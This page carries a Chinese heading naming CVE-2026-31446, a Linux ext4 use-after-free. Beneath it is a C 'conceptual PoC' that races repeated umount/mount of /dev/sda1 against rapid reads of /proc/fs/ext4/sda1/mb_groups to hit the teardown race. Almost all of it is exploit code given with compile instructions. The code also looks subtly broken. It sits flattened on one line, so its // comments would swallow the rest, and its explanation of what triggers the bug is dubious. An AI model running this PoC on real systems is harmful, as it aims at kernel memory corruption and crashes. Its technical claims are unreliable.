CVE-2026-31446: Linux内核ext4释放后重用漏洞

/* * Conceptual PoC for CVE-2026-31446 * This code attempts to trigger the race condition between * ext4_notify_error_sysfs and ext4_unregister_sysfs. * Compile: gcc -o poc cve-2026-31446.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <sys/mount.h> #include <string.h> // Assume an ext4 filesystem is mounted here #define MOUNT_POINT "/mnt/test_ext4" #define DEVICE "/dev/sda1" #define SYSFS_PATH "/proc/fs/ext4/sda1/mb_groups" void *unmount_thread(void *arg) { char cmd[256]; while (1) { // Attempt to unmount to trigger the teardown sequence system("umount " MOUNT_POINT " 2>/dev/null"); // Remount to keep the loop going for testing purposes (in a real scenario, this happens once) system("mount " DEVICE " " MOUNT_POINT " 2>/dev/null"); usleep(10000); // Short delay } return NULL; } void *trigger_sysfs_thread(void *arg) { char buf[1024]; FILE *fp; while (1) { // Reading mb_groups triggers ext4_error handling which queues update_super_work fp = fopen(SYSFS_PATH, "r"); if (fp) { while (fgets(buf, sizeof(buf), fp)) { // Consume file to trigger sysfs interaction } fclose(fp); } usleep(1000); // High frequency access } return NULL; } int main() { pthread_t t1, t2; printf("Starting PoC for CVE-2026-31446...\n"); printf("Ensure %s is mounted and writable.\n", MOUNT_POINT); // Create threads to race against each other pthread_create(&t1, NULL, unmount_thread, NULL); pthread_create(&t2, NULL, trigger_sysfs_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }